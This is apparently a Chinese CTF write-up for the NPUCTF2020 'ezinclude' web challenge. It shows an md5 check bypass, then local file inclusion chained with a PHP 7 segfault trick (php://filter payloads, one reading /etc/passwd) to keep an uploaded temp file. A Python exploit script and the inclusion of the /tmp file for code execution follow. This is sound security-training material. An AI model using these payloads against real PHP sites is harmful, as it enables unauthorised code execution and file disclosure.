[NPUCTF2020]ezinclude

2

进去发现是用户名与密码错误

F12发现提示:

3

要md5name后的字符串等于pass,不知道pass,可以bp发现传送回来的东西有hash这个东西

直接加入pass等于这个hash值得到:

4

得到flflflflag.php这个文件。

但是他会直接进到404.html文件

然后就不会了;接着就是大佬的操作了:

大佬看到了php的版本7.0.33,直接就是:

php7 segment fault特性

扫目录可得dir.php

……扫不出来

向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

  • php < 7.2
    php://filter/string.strip_tags/resource=/etc/passwd
  • php7 老版本通杀
    php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

嫖个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from io import BytesIO

mode1 = "php://filter/string.strip_tags/resource=/etc/passwd"
mode2 = "php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"
url = "http://93fed8e6-341b-499c-b41b-0f0a6288549b.node4.buuoj.cn:81/flflflflag.php?file="

url = url + mode1
payload = "<?php phpinfo();?>"

files = {
"file": BytesIO(payload.encode())
}

res = requests.post(url=url, files=files, allow_redirects=False)

print(res.text)

访问dir.php:

5

有个文件名,访问本地file=/tmp/phpBWqZND

该脚本写了一个php探针:直接bp访问该文件

因为直接访问好像不能打开,会直接跳转到404.html文件里面,无法访问php探针。

1

获取flag,完成撒花~~~~~~~~